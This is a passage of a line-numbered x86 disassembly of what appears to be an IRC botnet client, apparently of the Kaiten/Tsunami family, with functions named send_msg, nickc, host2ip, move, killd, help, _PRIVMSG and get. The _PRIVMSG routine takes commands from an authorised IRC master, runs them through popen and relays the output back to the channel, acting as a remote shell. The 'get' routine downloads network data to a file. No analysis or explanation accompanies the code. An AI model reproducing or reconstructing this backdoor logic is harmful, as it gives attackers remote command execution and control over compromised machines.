  669. 080494be: mov %eax,%edx
  670. 080494c0: lea -0x438(%ebp),%eax
  671. 080494c6: add %edx,%eax
  672. 080494c8: lea 0x1(%eax),%edx
  673. 080494cb: lea -0x438(%ebp),%eax
  674. 080494d1: mov %eax,0xc(%esp)
  675. 080494d5: mov %edx,0x8(%esp)
  676. 080494d9: movl $0x804aa4c,0x4(%esp)
  677. 080494e1: mov -0x28(%ebp),%eax
  678. 080494e4: mov %eax,(%esp)
  679. 080494e7: call 0x08048fc0 <send_msg>
  680. 080494ec: mov 0x804c9a0,%eax
  681. 080494f1: mov %eax,0x8(%esp)
  682. 080494f5: movl $0x804ab60,0x4(%esp)
  683. 080494fd: mov 0x8(%ebp),%eax
  684. 08049500: mov %eax,(%esp)
  685. 08049503: call 0x08048fc0 <send_msg>
  686. 08049508: mov 0x14(%ebp),%eax
  687. 0804950b: add $0x8,%eax
  688. 0804950e: mov (%eax),%eax
  689. 08049510: movl $0x804ab7d,0x4(%esp)
  690. 08049518: mov %eax,(%esp)
  691. 0804951b: call 0x08048ce4 <fopen@plt>
  692. 08049520: mov %eax,-0x18(%ebp)
  693. 08049523: movl $0x0,0xc(%esp)
  694. 0804952b: movl $0x1000,0x8(%esp)
  695. 08049533: lea -0x1438(%ebp),%eax
  696. 08049539: mov %eax,0x4(%esp)
  697. 0804953d: mov -0x28(%ebp),%eax
  698. 08049540: mov %eax,(%esp)
  699. 08049543: call 0x08048bd4 <recv@plt>
  700. 08049548: mov %eax,-0x10(%ebp)
  701. 0804954b: cmpl $0x0,-0x10(%ebp)
  702. 0804954f: jle 0x080495dd <get+0x33d>
  703. 08049555: cmpl $0xfff,-0x10(%ebp)
  704. 0804955c: jg 0x08049569 <get+0x2c9>
  705. 0804955e: mov -0x10(%ebp),%eax
  706. 08049561: movb $0x0,-0x1438(%ebp,%eax,1)
  707. 08049569: movl $0x0,-0x20(%ebp)
  708. 08049570: jmp 0x080495d0 <get+0x330>
  709. 08049572: mov -0x20(%ebp),%eax
  710. 08049575: mov %eax,%edx
  711. 08049577: lea -0x1438(%ebp),%eax
  712. 0804957d: add %edx,%eax
  713. 0804957f: movl $0x4,0x8(%esp)
  714. 08049587: movl $0x804ab80,0x4(%esp)
  715. 0804958f: mov %eax,(%esp)
  716. 08049592: call 0x08048ba4 <strncmp@plt>
  717. 08049597: test %eax,%eax
  718. 08049599: jne 0x080495cc <get+0x32c>
  719. 0804959b: addl $0x4,-0x20(%ebp)
  720. 0804959f: jmp 0x080495c2 <get+0x322>
  721. 080495a1: mov -0x20(%ebp),%eax
  722. 080495a4: movzbl -0x1438(%ebp,%eax,1),%eax
  723. 080495ac: movzbl %al,%edx
  724. 080495af: mov -0x18(%ebp),%eax
  725. 080495b2: mov %eax,0x4(%esp)
  726. 080495b6: mov %edx,(%esp)
  727. 080495b9: call 0x08048a64 <fputc@plt>
  728. 080495be: addl $0x1,-0x20(%ebp)
  729. 080495c2: mov -0x20(%ebp),%eax
  730. 080495c5: cmp -0x10(%ebp),%eax
  731. 080495c8: jl 0x080495a1 <get+0x301>
  732. 080495ca: jmp 0x080495dd <get+0x33d>
  733. 080495cc: addl $0x1,-0x20(%ebp)
  734. 080495d0: mov -0x20(%ebp),%eax
  735. 080495d3: cmp -0x10(%ebp),%eax
  736. 080495d6: jl 0x08049572 <get+0x2d2>
  737. 080495d8: jmp 0x08049523 <get+0x283>
  738. 080495dd: mov 0x14(%ebp),%eax
  739. 080495e0: add $0x8,%eax
  740. 080495e3: mov (%eax),%eax
  741. 080495e5: mov 0x804c9a0,%edx
  742. 080495eb: mov %eax,0xc(%esp)
  743. 080495ef: mov %edx,0x8(%esp)
  744. 080495f3: movl $0x804ab85,0x4(%esp)
  745. 080495fb: mov 0x8(%ebp),%eax
  746. 080495fe: mov %eax,(%esp)
  747. 08049601: call 0x08048fc0 <send_msg>
  748. 08049606: movl $0x0,0xc(%esp)
  749. 0804960e: movl $0x1000,0x8(%esp)
  750. 08049616: lea -0x1438(%ebp),%eax
  751. 0804961c: mov %eax,0x4(%esp)
  752. 08049620: mov -0x28(%ebp),%eax
  753. 08049623: mov %eax,(%esp)
  754. 08049626: call 0x08048bd4 <recv@plt>
  755. 0804962b: mov %eax,-0xc(%ebp)
  756. 0804962e: cmpl $0x0,-0xc(%ebp)
  757. 08049632: jle 0x0804967c <get+0x3dc>
  758. 08049634: cmpl $0xfff,-0xc(%ebp)
  759. 0804963b: jg 0x08049648 <get+0x3a8>
  760. 0804963d: mov -0xc(%ebp),%eax
  761. 08049640: movb $0x0,-0x1438(%ebp,%eax,1)
  762. 08049648: movl $0x0,-0x8(%ebp)
  763. 0804964f: jmp 0x08049672 <get+0x3d2>
  764. 08049651: mov -0x8(%ebp),%eax
  765. 08049654: movzbl -0x1438(%ebp,%eax,1),%eax
  766. 0804965c: movzbl %al,%edx
  767. 0804965f: mov -0x18(%ebp),%eax
  768. 08049662: mov %eax,0x4(%esp)
  769. 08049666: mov %edx,(%esp)
  770. 08049669: call 0x08048a64 <fputc@plt>
  771. 0804966e: addl $0x1,-0x8(%ebp)
  772. 08049672: mov -0x8(%ebp),%eax
  773. 08049675: cmp -0xc(%ebp),%eax
  774. 08049678: jl 0x08049651 <get+0x3b1>
  775. 0804967a: jmp 0x08049606 <get+0x366>
  776. 0804967c: mov -0x18(%ebp),%eax
  777. 0804967f: mov %eax,(%esp)
  778. 08049682: call 0x08048b24 <fclose@plt>
  779. 08049687: mov -0x28(%ebp),%eax
  780. 0804968a: mov %eax,(%esp)
  781. 0804968d: call 0x08048b54 <close@plt>
  782. 08049692: movl $0x0,(%esp)
  783. 08049699: call 0x08048cb4 <exit@plt>
  784. 0804969e: add $0x1454,%esp
  785. 080496a4: pop %ebx
  786. 080496a5: pop %ebp
  787. 080496a6: ret
  788. 080496a7: mov %esi,%esi
  789. 080496a9: lea 0x0(%edi),%edi
  790.  
  791. # 080496b0 <nickc>:
  792. 080496b0: push %ebp
  793. 080496b1: mov %esp,%ebp
  794. 080496b3: sub $0x18,%esp
  795. 080496b6: cmpl $0x1,0x10(%ebp)
  796. 080496ba: je 0x080496d8 <nickc+0x28>
  797. 080496bc: mov 0xc(%ebp),%eax
  798. 080496bf: mov %eax,0x8(%esp)
  799. 080496c3: movl $0x804ab9e,0x4(%esp)
  800. 080496cb: mov 0x8(%ebp),%eax
  801. 080496ce: mov %eax,(%esp)
  802. 080496d1: call 0x08048fc0 <send_msg>
  803. 080496d6: jmp 0x08049728 <nickc+0x78>
  804. 080496d8: mov 0x14(%ebp),%eax
  805. 080496db: add $0x4,%eax
  806. 080496de: mov (%eax),%eax
  807. 080496e0: mov %eax,(%esp)
  808. 080496e3: call 0x08048b84 <strlen@plt>
  809. 080496e8: cmp $0x9,%eax
  810. 080496eb: jbe 0x08049709 <nickc+0x59>
  811. 080496ed: mov 0xc(%ebp),%eax
  812. 080496f0: mov %eax,0x8(%esp)
  813. 080496f4: movl $0x804abb8,0x4(%esp)
  814. 080496fc: mov 0x8(%ebp),%eax
  815. 080496ff: mov %eax,(%esp)
  816. 08049702: call 0x08048fc0 <send_msg>
  817. 08049707: jmp 0x08049728 <nickc+0x78>
  818. 08049709: mov 0x14(%ebp),%eax
  819. 0804970c: add $0x4,%eax
  820. 0804970f: mov (%eax),%eax
  821. 08049711: mov %eax,0x8(%esp)
  822. 08049715: movl $0x804abee,0x4(%esp)
  823. 0804971d: mov 0x8(%ebp),%eax
  824. 08049720: mov %eax,(%esp)
  825. 08049723: call 0x08048fc0 <send_msg>
  826. 08049728: leave
  827. 08049729: ret
  828. 0804972a: lea 0x0(%esi),%esi
  829.  
  830. # 08049730 <host2ip>:
  831. 08049730: push %ebp
  832. 08049731: mov %esp,%ebp
  833. 08049733: sub $0x28,%esp
  834. 08049736: mov 0xc(%ebp),%eax
  835. 08049739: mov %eax,(%esp)
  836. 0804973c: call 0x08048a94 <__inet_addr@plt>
  837. 08049741: mov %eax,0x804c740
  838. 08049746: mov 0x804c740,%eax
  839. 0804974b: cmp $0xffffffff,%eax
  840. 0804974e: jne 0x080497b7 <host2ip+0x87>
  841. 08049750: mov 0xc(%ebp),%eax
  842. 08049753: mov %eax,(%esp)
  843. 08049756: call 0x08048c14 <gethostbyname@plt>
  844. 0804975b: mov %eax,-0x4(%ebp)
  845. 0804975e: cmpl $0x0,-0x4(%ebp)
  846. 08049762: jne 0x08049793 <host2ip+0x63>
  847. 08049764: mov 0x804c760,%eax
  848. 08049769: mov 0xc(%ebp),%edx
  849. 0804976c: mov %edx,0xc(%esp)
  850. 08049770: mov 0x8(%ebp),%edx
  851. 08049773: mov %edx,0x8(%esp)
  852. 08049777: movl $0x804abf8,0x4(%esp)
  853. 0804977f: mov %eax,(%esp)
  854. 08049782: call 0x08048fc0 <send_msg>
  855. 08049787: movl $0x0,(%esp)
  856. 0804978e: call 0x08048cb4 <exit@plt>
  857. 08049793: mov -0x4(%ebp),%eax
  858. 08049796: mov 0xc(%eax),%eax
  859. 08049799: mov %eax,%edx
  860. 0804979b: mov -0x4(%ebp),%eax
  861. 0804979e: mov 0x10(%eax),%eax
  862. 080497a1: mov (%eax),%eax
  863. 080497a3: mov %edx,0x8(%esp)
  864. 080497a7: movl $0x804c740,0x4(%esp)
  865. 080497af: mov %eax,(%esp)
  866. 080497b2: call 0x08048c44 <bcopy@plt>
  867. 080497b7: mov 0x804c740,%eax
  868. 080497bc: leave
  869. 080497bd: ret
  870. 080497be: xchg %ax,%ax
  871.  
  872. # 080497c0 <move>:
  873. 080497c0: push %ebp
  874. 080497c1: mov %esp,%ebp
  875. 080497c3: sub $0x18,%esp
  876. 080497c6: cmpl $0x0,0x10(%ebp)
  877. 080497ca: jg 0x080497f2 <move+0x32>
  878. 080497cc: mov 0xc(%ebp),%eax
  879. 080497cf: mov %eax,0x8(%esp)
  880. 080497d3: movl $0x804ac1a,0x4(%esp)
  881. 080497db: mov 0x8(%ebp),%eax
  882. 080497de: mov %eax,(%esp)
  883. 080497e1: call 0x08048fc0 <send_msg>
  884. 080497e6: movl $0x1,(%esp)
  885. 080497ed: call 0x08048cb4 <exit@plt>
  886. 080497f2: mov 0x14(%ebp),%eax
  887. 080497f5: add $0x4,%eax
  888. 080497f8: mov (%eax),%eax
  889. 080497fa: mov %eax,(%esp)
  890. 080497fd: call 0x08048b34 <strdup@plt>
  891. 08049802: mov %eax,0x804c888
  892. 08049807: movl $0x1,0x804c320
  893. 08049811: mov 0x8(%ebp),%eax
  894. 08049814: mov %eax,(%esp)
  895. 08049817: call 0x08048b54 <close@plt>
  896. 0804981c: leave
  897. 0804981d: ret
  898. 0804981e: xchg %ax,%ax
  899.  
  900. # 08049820 <killd>:
  901. 08049820: push %ebp
  902. 08049821: mov %esp,%ebp
  903. 08049823: sub $0x8,%esp
  904. 08049826: movl $0x9,0x4(%esp)
  905. 0804982e: movl $0x0,(%esp)
  906. 08049835: call 0x08048cc4 <kill@plt>
  907. 0804983a: leave
  908. 0804983b: ret
  909. 0804983c: lea 0x0(%esi),%esi
  910.  
  911. # 08049840 <help>:
  912. 08049840: push %ebp
  913. 08049841: mov %esp,%ebp
  914. 08049843: sub $0x18,%esp
  915. 08049846: mov 0xc(%ebp),%eax
  916. 08049849: mov %eax,(%esp)
  917. 0804984c: call 0x08049010 <mfork>
  918. 08049851: test %eax,%eax
  919. 08049853: jne 0x0804991b <help+0xdb>
  920. 08049859: mov 0xc(%ebp),%eax
  921. 0804985c: mov %eax,0x8(%esp)
  922. 08049860: movl $0x804ac38,0x4(%esp)
  923. 08049868: mov 0x8(%ebp),%eax
  924. 0804986b: mov %eax,(%esp)
  925. 0804986e: call 0x08048fc0 <send_msg>
  926. 08049873: mov 0xc(%ebp),%eax
  927. 08049876: mov %eax,0x8(%esp)
  928. 0804987a: movl $0x804ac98,0x4(%esp)
  929. 08049882: mov 0x8(%ebp),%eax
  930. 08049885: mov %eax,(%esp)
  931. 08049888: call 0x08048fc0 <send_msg>
  932. 0804988d: mov 0xc(%ebp),%eax
  933. 08049890: mov %eax,0x8(%esp)
  934. 08049894: movl $0x804ace8,0x4(%esp)
  935. 0804989c: mov 0x8(%ebp),%eax
  936. 0804989f: mov %eax,(%esp)
  937. 080498a2: call 0x08048fc0 <send_msg>
  938. 080498a7: mov 0xc(%ebp),%eax
  939. 080498aa: mov %eax,0x8(%esp)
  940. 080498ae: movl $0x804ad38,0x4(%esp)
  941. 080498b6: mov 0x8(%ebp),%eax
  942. 080498b9: mov %eax,(%esp)
  943. 080498bc: call 0x08048fc0 <send_msg>
  944. 080498c1: mov 0xc(%ebp),%eax
  945. 080498c4: mov %eax,0x8(%esp)
  946. 080498c8: movl $0x804adb0,0x4(%esp)
  947. 080498d0: mov 0x8(%ebp),%eax
  948. 080498d3: mov %eax,(%esp)
  949. 080498d6: call 0x08048fc0 <send_msg>
  950. 080498db: mov 0xc(%ebp),%eax
  951. 080498de: mov %eax,0x8(%esp)
  952. 080498e2: movl $0x804ae00,0x4(%esp)
  953. 080498ea: mov 0x8(%ebp),%eax
  954. 080498ed: mov %eax,(%esp)
  955. 080498f0: call 0x08048fc0 <send_msg>
  956. 080498f5: mov 0xc(%ebp),%eax
  957. 080498f8: mov %eax,0x8(%esp)
  958. 080498fc: movl $0x804ae64,0x4(%esp)
  959. 08049904: mov 0x8(%ebp),%eax
  960. 08049907: mov %eax,(%esp)
  961. 0804990a: call 0x08048fc0 <send_msg>
  962. 0804990f: movl $0x0,(%esp)
  963. 08049916: call 0x08048cb4 <exit@plt>
  964. 0804991b: leave
  965. 0804991c: ret
  966. 0804991d: lea 0x0(%esi),%esi
  967.  
  968. # 08049920 <_PRIVMSG>:
  969. 08049920: push %ebp
  970. 08049921: mov %esp,%ebp
  971. 08049923: push %ebx
  972. 08049924: sub $0x864,%esp
  973. 0804992a: movl $0x0,-0x1c(%ebp)
  974. 08049931: jmp 0x08049937 <_PRIVMSG+0x17>
  975. 08049933: addl $0x1,-0x1c(%ebp)
  976. 08049937: mov -0x1c(%ebp),%ebx
  977. 0804993a: mov 0x10(%ebp),%eax
  978. 0804993d: mov %eax,(%esp)
  979. 08049940: call 0x08048b84 <strlen@plt>
  980. 08049945: cmp %eax,%ebx
  981. 08049947: jae 0x08049956 <_PRIVMSG+0x36>
  982. 08049949: mov -0x1c(%ebp),%eax
  983. 0804994c: add 0x10(%ebp),%eax
  984. 0804994f: movzbl (%eax),%eax
  985. 08049952: cmp $0x20,%al
  986. 08049954: jne 0x08049933 <_PRIVMSG+0x13>
  987. 08049956: mov -0x1c(%ebp),%eax
  988. 08049959: add 0x10(%ebp),%eax
  989. 0804995c: movb $0x0,(%eax)
  990. 0804995f: mov 0x10(%ebp),%eax
  991. 08049962: mov %eax,-0x18(%ebp)
  992. 08049965: mov -0x1c(%ebp),%eax
  993. 08049968: add 0x10(%ebp),%eax
  994. 0804996b: add $0x2,%eax
  995. 0804996e: mov %eax,-0x14(%ebp)
  996. 08049971: movl $0x0,-0x1c(%ebp)
  997. 08049978: jmp 0x0804997e <_PRIVMSG+0x5e>
  998. 0804997a: addl $0x1,-0x1c(%ebp)
  999. 0804997e: mov -0x1c(%ebp),%ebx
  1000. 08049981: mov 0xc(%ebp),%eax
  1001. 08049984: mov %eax,(%esp)
  1002. 08049987: call 0x08048b84 <strlen@plt>
  1003. 0804998c: cmp %eax,%ebx
  1004. 0804998e: jae 0x0804999d <_PRIVMSG+0x7d>
  1005. 08049990: mov -0x1c(%ebp),%eax
  1006. 08049993: add 0xc(%ebp),%eax
  1007. 08049996: movzbl (%eax),%eax
  1008. 08049999: cmp $0x21,%al
  1009. 0804999b: jne 0x0804997a <_PRIVMSG+0x5a>
  1010. 0804999d: mov -0x1c(%ebp),%eax
  1011. 080499a0: add 0xc(%ebp),%eax
  1012. 080499a3: movb $0x0,(%eax)
  1013. 080499a6: mov -0x14(%ebp),%eax
  1014. 080499a9: movzbl (%eax),%eax
  1015. 080499ac: cmp $0x21,%al
  1016. 080499ae: jne 0x08049dbe <_PRIVMSG+0x49e>
  1017. 080499b4: mov 0x804c9a0,%eax
  1018. 080499b9: mov %eax,0x4(%esp)
  1019. 080499bd: mov -0x18(%ebp),%eax
  1020. 080499c0: mov %eax,(%esp)
  1021. 080499c3: call 0x08048bf4 <strcasecmp@plt>
  1022. 080499c8: test %eax,%eax
  1023. 080499ca: jne 0x08049dbe <_PRIVMSG+0x49e>
  1024. 080499d0: lea -0x44c(%ebp),%edx
  1025. 080499d6: mov $0x400,%eax
  1026. 080499db: mov %eax,0x8(%esp)
  1027. 080499df: movl $0x0,0x4(%esp)
  1028. 080499e7: mov %edx,(%esp)
  1029. 080499ea: call 0x08048c94 <memset@plt>
  1030. 080499ef: movl $0x0,-0x10(%ebp)
  1031. 080499f6: addl $0x1,-0x14(%ebp)
  1032. 080499fa: movl $0x0,-0x1c(%ebp)
  1033. 08049a01: jmp 0x08049a07 <_PRIVMSG+0xe7>
  1034. 08049a03: addl $0x1,-0x1c(%ebp)
  1035. 08049a07: mov -0x1c(%ebp),%ebx
  1036. 08049a0a: mov -0x14(%ebp),%eax
  1037. 08049a0d: mov %eax,(%esp)
  1038. 08049a10: call 0x08048b84 <strlen@plt>
  1039. 08049a15: cmp %eax,%ebx
  1040. 08049a17: jae 0x08049a26 <_PRIVMSG+0x106>
  1041. 08049a19: mov -0x1c(%ebp),%eax
  1042. 08049a1c: add -0x14(%ebp),%eax
  1043. 08049a1f: movzbl (%eax),%eax
  1044. 08049a22: cmp $0x20,%al
  1045. 08049a24: jne 0x08049a03 <_PRIVMSG+0xe3>
  1046. 08049a26: mov -0x1c(%ebp),%eax
  1047. 08049a29: add -0x14(%ebp),%eax
  1048. 08049a2c: movb $0x0,(%eax)
  1049. 08049a2f: mov 0x804c764,%eax
  1050. 08049a34: mov %eax,0x4(%esp)
  1051. 08049a38: mov -0x14(%ebp),%eax
  1052. 08049a3b: mov %eax,(%esp)
  1053. 08049a3e: call 0x08048e40 <strwildmatch>
  1054. 08049a43: test %eax,%eax
  1055. 08049a45: jne 0x08049dbe <_PRIVMSG+0x49e>
  1056. 08049a4b: mov -0x14(%ebp),%edx
  1057. 08049a4e: add $0x1,%edx
  1058. 08049a51: mov -0x1c(%ebp),%eax
  1059. 08049a54: lea (%edx,%eax,1),%eax
  1060. 08049a57: mov %eax,-0x14(%ebp)
  1061. 08049a5a: movl $0x4,0x8(%esp)
  1062. 08049a62: movl $0x804aed0,0x4(%esp)
  1063. 08049a6a: mov -0x14(%ebp),%eax
  1064. 08049a6d: mov %eax,(%esp)
  1065. 08049a70: call 0x08048ba4 <strncmp@plt>
  1066. 08049a75: test %eax,%eax
  1067. 08049a77: jne 0x08049a96 <_PRIVMSG+0x176>
  1068. 08049a79: mov -0x14(%ebp),%eax
  1069. 08049a7c: add $0x4,%eax
  1070. 08049a7f: mov %eax,0x8(%esp)
  1071. 08049a83: movl $0x804aed5,0x4(%esp)
  1072. 08049a8b: mov 0x8(%ebp),%eax
  1073. 08049a8e: mov %eax,(%esp)
  1074. 08049a91: call 0x08048fc0 <send_msg>
  1075. 08049a96: movl $0x3,0x8(%esp)
  1076. 08049a9e: movl $0x804aed9,0x4(%esp)
  1077. 08049aa6: mov -0x14(%ebp),%eax
  1078. 08049aa9: mov %eax,(%esp)
  1079. 08049aac: call 0x08048ba4 <strncmp@plt>
  1080. 08049ab1: test %eax,%eax
  1081. 08049ab3: jne 0x08049bea <_PRIVMSG+0x2ca>
  1082. 08049ab9: mov 0xc(%ebp),%eax
  1083. 08049abc: mov %eax,(%esp)
  1084. 08049abf: call 0x08049010 <mfork>
  1085. 08049ac4: test %eax,%eax
  1086. 08049ac6: jne 0x08049dbe <_PRIVMSG+0x49e>
  1087. 08049acc: movl $0x400,0x8(%esp)
  1088. 08049ad4: movl $0x0,0x4(%esp)
  1089. 08049adc: lea -0x84c(%ebp),%eax
  1090. 08049ae2: mov %eax,(%esp)
  1091. 08049ae5: call 0x08048c94 <memset@plt>
  1092. 08049aea: mov -0x14(%ebp),%eax
  1093. 08049aed: add $0x3,%eax
  1094. 08049af0: mov %eax,0x8(%esp)
  1095. 08049af4: movl $0x804aee0,0x4(%esp)
  1096. 08049afc: lea -0x84c(%ebp),%eax
  1097. 08049b02: mov %eax,(%esp)
  1098. 08049b05: call 0x08048b44 <sprintf@plt>
  1099. 08049b0a: movl $0x804af1c,0x4(%esp)
  1100. 08049b12: lea -0x84c(%ebp),%eax
  1101. 08049b18: mov %eax,(%esp)
  1102. 08049b1b: call 0x08048b74 <popen@plt>
  1103. 08049b20: mov %eax,-0x8(%ebp)
  1104. 08049b23: jmp 0x08049b93 <_PRIVMSG+0x273>
  1105. 08049b25: movl $0x400,0x8(%esp)
  1106. 08049b2d: movl $0x0,0x4(%esp)
  1107. 08049b35: lea -0x84c(%ebp),%eax
  1108. 08049b3b: mov %eax,(%esp)
  1109. 08049b3e: call 0x08048c94 <memset@plt>
  1110. 08049b43: mov -0x8(%ebp),%eax
  1111. 08049b46: mov %eax,0x8(%esp)
  1112. 08049b4a: movl $0x400,0x4(%esp)
  1113. 08049b52: lea -0x84c(%ebp),%eax
  1114. 08049b58: mov %eax,(%esp)
  1115. 08049b5b: call 0x08048ab4 <fgets@plt>
  1116. 08049b60: mov 0x804c9a0,%edx
  1117. 08049b66: lea -0x84c(%ebp),%eax
  1118. 08049b6c: mov %eax,0xc(%esp)
  1119. 08049b70: mov %edx,0x8(%esp)
  1120. 08049b74: movl $0x804af1e,0x4(%esp)
  1121. 08049b7c: mov 0x8(%ebp),%eax
  1122. 08049b7f: mov %eax,(%esp)
  1123. 08049b82: call 0x08048fc0 <send_msg>
  1124. 08049b87: movl $0x1,(%esp)
  1125. 08049b8e: call 0x08048c54 <sleep@plt>
  1126. 08049b93: mov 0x804c310,%eax
  1127. 08049b98: test %eax,%eax
  1128. 08049b9a: jne 0x08049bb2 <_PRIVMSG+0x292>
  1129. 08049b9c: mov -0x8(%ebp),%eax
  1130. 08049b9f: movzwl 0xc(%eax),%eax
  1131. 08049ba3: cwtl
  1132. 08049ba4: and $0x20,%eax
  1133. 08049ba7: test %eax,%eax
  1134. 08049ba9: sete -0x855(%ebp)
  1135. 08049bb0: jmp 0x08049bc6 <_PRIVMSG+0x2a6>
  1136. 08049bb2: mov -0x8(%ebp),%eax
  1137. 08049bb5: mov %eax,(%esp)
  1138. 08049bb8: call 0x08048bc4 <feof@plt>
  1139. 08049bbd: test %eax,%eax
  1140. 08049bbf: sete -0x855(%ebp)
  1141. 08049bc6: cmpb $0x0,-0x855(%ebp)
  1142. 08049bcd: jne 0x08049b25 <_PRIVMSG+0x205>
  1143. 08049bd3: mov -0x8(%ebp),%eax
  1144. 08049bd6: mov %eax,(%esp)
  1145. 08049bd9: call 0x08048a54 <pclose@plt>
  1146. 08049bde: movl $0x0,(%esp)
  1147. 08049be5: call 0x08048cb4 <exit@plt>
  1148. 08049bea: mov -0x14(%ebp),%eax
  1149. 08049bed: mov %eax,(%esp)
  1150. 08049bf0: call 0x08048b84 <strlen@plt>
  1151. 08049bf5: mov %eax,-0xc(%ebp)
  1152. 08049bf8: movl $0x0,-0x1c(%ebp)
  1153. 08049bff: jmp 0x08049c2d <_PRIVMSG+0x30d>
  1154. 08049c01: mov -0x14(%ebp),%eax
  1155. 08049c04: movzbl (%eax),%eax
  1156. 08049c07: cmp $0x20,%al
  1157. 08049c09: je 0x08049c35 <_PRIVMSG+0x315>
  1158. 08049c0b: mov -0x14(%ebp),%eax
  1159. 08049c0e: movzbl (%eax),%eax
  1160. 08049c11: test %al,%al
  1161. 08049c13: je 0x08049c35 <_PRIVMSG+0x315>
  1162. 08049c15: mov -0x1c(%ebp),%eax
  1163. 08049c18: mov -0x14(%ebp),%edx
  1164. 08049c1b: movzbl (%edx),%edx
  1165. 08049c1e: mov %dl,-0x44c(%ebp,%eax,1)
  1166. 08049c25: addl $0x1,-0x14(%ebp)
  1167. 08049c29: addl $0x1,-0x1c(%ebp)
  1168. 08049c2d: mov -0x1c(%ebp),%eax
  1169. 08049c30: cmp -0xc(%ebp),%eax
  1170. 08049c33: jl 0x08049c01 <_PRIVMSG+0x2e1>
  1171. 08049c35: movl $0x0,-0x1c(%ebp)
  1172. 08049c3c: jmp 0x08049c53 <_PRIVMSG+0x333>
  1173. 08049c3e: mov -0x1c(%ebp),%eax
  1174. 08049c41: add -0x14(%ebp),%eax
  1175. 08049c44: movzbl (%eax),%eax
  1176. 08049c47: cmp $0x20,%al
  1177. 08049c49: jne 0x08049c4f <_PRIVMSG+0x32f>
  1178. 08049c4b: addl $0x1,-0x10(%ebp)
  1179. 08049c4f: addl $0x1,-0x1c(%ebp)
  1180. 08049c53: mov -0x1c(%ebp),%ebx
  1181. 08049c56: mov -0x14(%ebp),%eax
  1182. 08049c59: mov %eax,(%esp)
  1183. 08049c5c: call 0x08048b84 <strlen@plt>
  1184. 08049c61: cmp %eax,%ebx
  1185. 08049c63: jb 0x08049c3e <_PRIVMSG+0x31e>
  1186. 08049c65: addl $0x1,-0x10(%ebp)
  1187. 08049c69: cmpl $0xa,-0x10(%ebp)
  1188. 08049c6d: jle 0x08049c76 <_PRIVMSG+0x356>
  1189. 08049c6f: movl $0xa,-0x10(%ebp)
  1190. 08049c76: lea -0x44c(%ebp),%eax
  1191. 08049c7c: mov %eax,-0x4c(%ebp)
  1192. 08049c7f: mov -0x10(%ebp),%eax
  1193. 08049c82: add $0x1,%eax
  1194. 08049c85: movl $0x804af2e,-0x4c(%ebp,%eax,4)
  1195. 08049c8d: movl $0x1,-0xc(%ebp)
  1196. 08049c94: jmp 0x08049d21 <_PRIVMSG+0x401>
  1197. 08049c99: addl $0x1,-0x14(%ebp)
  1198. 08049c9d: mov -0xc(%ebp),%eax
  1199. 08049ca0: cmp -0x10(%ebp),%eax
  1200. 08049ca3: jge 0x08049d2f <_PRIVMSG+0x40f>
  1201. 08049ca9: movl $0x0,-0x1c(%ebp)
  1202. 08049cb0: jmp 0x08049cb6 <_PRIVMSG+0x396>
  1203. 08049cb2: addl $0x1,-0x1c(%ebp)
  1204. 08049cb6: mov -0x1c(%ebp),%ebx
  1205. 08049cb9: mov -0x14(%ebp),%eax
  1206. 08049cbc: mov %eax,(%esp)
  1207. 08049cbf: call 0x08048b84 <strlen@plt>
  1208. 08049cc4: cmp %eax,%ebx
  1209. 08049cc6: jae 0x08049cd5 <_PRIVMSG+0x3b5>
  1210. 08049cc8: mov -0x1c(%ebp),%eax
  1211. 08049ccb: add -0x14(%ebp),%eax
  1212. 08049cce: movzbl (%eax),%eax
  1213. 08049cd1: cmp $0x20,%al
  1214. 08049cd3: jne 0x08049cb2 <_PRIVMSG+0x392>
  1215. 08049cd5: mov -0xc(%ebp),%ebx
  1216. 08049cd8: mov -0x1c(%ebp),%eax
  1217. 08049cdb: add $0x1,%eax
  1218. 08049cde: mov %eax,(%esp)
  1219. 08049ce1: call 0x08048a24 <malloc@plt>
  1220. 08049ce6: mov %eax,-0x4c(%ebp,%ebx,4)
  1221. 08049cea: mov -0x1c(%ebp),%edx
  1222. 08049ced: mov -0xc(%ebp),%eax
  1223. 08049cf0: mov -0x4c(%ebp,%eax,4),%ecx
  1224. 08049cf4: mov %edx,0x8(%esp)
  1225. 08049cf8: mov -0x14(%ebp),%eax
  1226. 08049cfb: mov %eax,0x4(%esp)
  1227. 08049cff: mov %ecx,(%esp)
  1228. 08049d02: call 0x08048c24 <strncpy@plt>
  1229. 08049d07: mov -0xc(%ebp),%eax
  1230. 08049d0a: mov -0x4c(%ebp,%eax,4),%edx
  1231. 08049d0e: mov -0x1c(%ebp),%eax
  1232. 08049d11: lea (%edx,%eax,1),%eax
  1233. 08049d14: movb $0x0,(%eax)
  1234. 08049d17: addl $0x1,-0xc(%ebp)
  1235. 08049d1b: mov -0x1c(%ebp),%eax
  1236. 08049d1e: add %eax,-0x14(%ebp)
  1237. 08049d21: mov -0x14(%ebp),%eax
  1238. 08049d24: movzbl (%eax),%eax
  1239. 08049d27: test %al,%al
  1240. 08049d29: jne 0x08049c99 <_PRIVMSG+0x379>
  1241. 08049d2f: movl $0x0,-0xc(%ebp)
  1242. 08049d36: jmp 0x08049dac <_PRIVMSG+0x48c>
  1243. 08049d38: mov -0xc(%ebp),%eax
  1244. 08049d3b: mov 0x804c280(,%eax,8),%edx
  1245. 08049d42: lea -0x44c(%ebp),%eax
  1246. 08049d48: mov %eax,0x4(%esp)
  1247. 08049d4c: mov %edx,(%esp)
  1248. 08049d4f: call 0x08048bf4 <strcasecmp@plt>
  1249. 08049d54: test %eax,%eax
  1250. 08049d56: jne 0x08049da8 <_PRIVMSG+0x488>
  1251. 08049d58: mov -0xc(%ebp),%eax
  1252. 08049d5b: mov 0x804c284(,%eax,8),%ecx
  1253. 08049d62: mov -0x10(%ebp),%edx
  1254. 08049d65: sub $0x1,%edx
  1255. 08049d68: lea -0x4c(%ebp),%eax
  1256. 08049d6b: mov %eax,0xc(%esp)
  1257. 08049d6f: mov %edx,0x8(%esp)
  1258. 08049d73: mov 0xc(%ebp),%eax
  1259. 08049d76: mov %eax,0x4(%esp)
  1260. 08049d7a: mov 0x8(%ebp),%eax
  1261. 08049d7d: mov %eax,(%esp)
  1262. 08049d80: call *%ecx
  1263. 08049d82: movl $0x1,-0x1c(%ebp)
  1264. 08049d89: jmp 0x08049d9e <_PRIVMSG+0x47e>
  1265. 08049d8b: mov -0x1c(%ebp),%eax
  1266. 08049d8e: mov -0x4c(%ebp,%eax,4),%eax
  1267. 08049d92: mov %eax,(%esp)
  1268. 08049d95: call 0x08048d04 <free@plt>
  1269. 08049d9a: addl $0x1,-0x1c(%ebp)
  1270. 08049d9e: mov -0x1c(%ebp),%eax
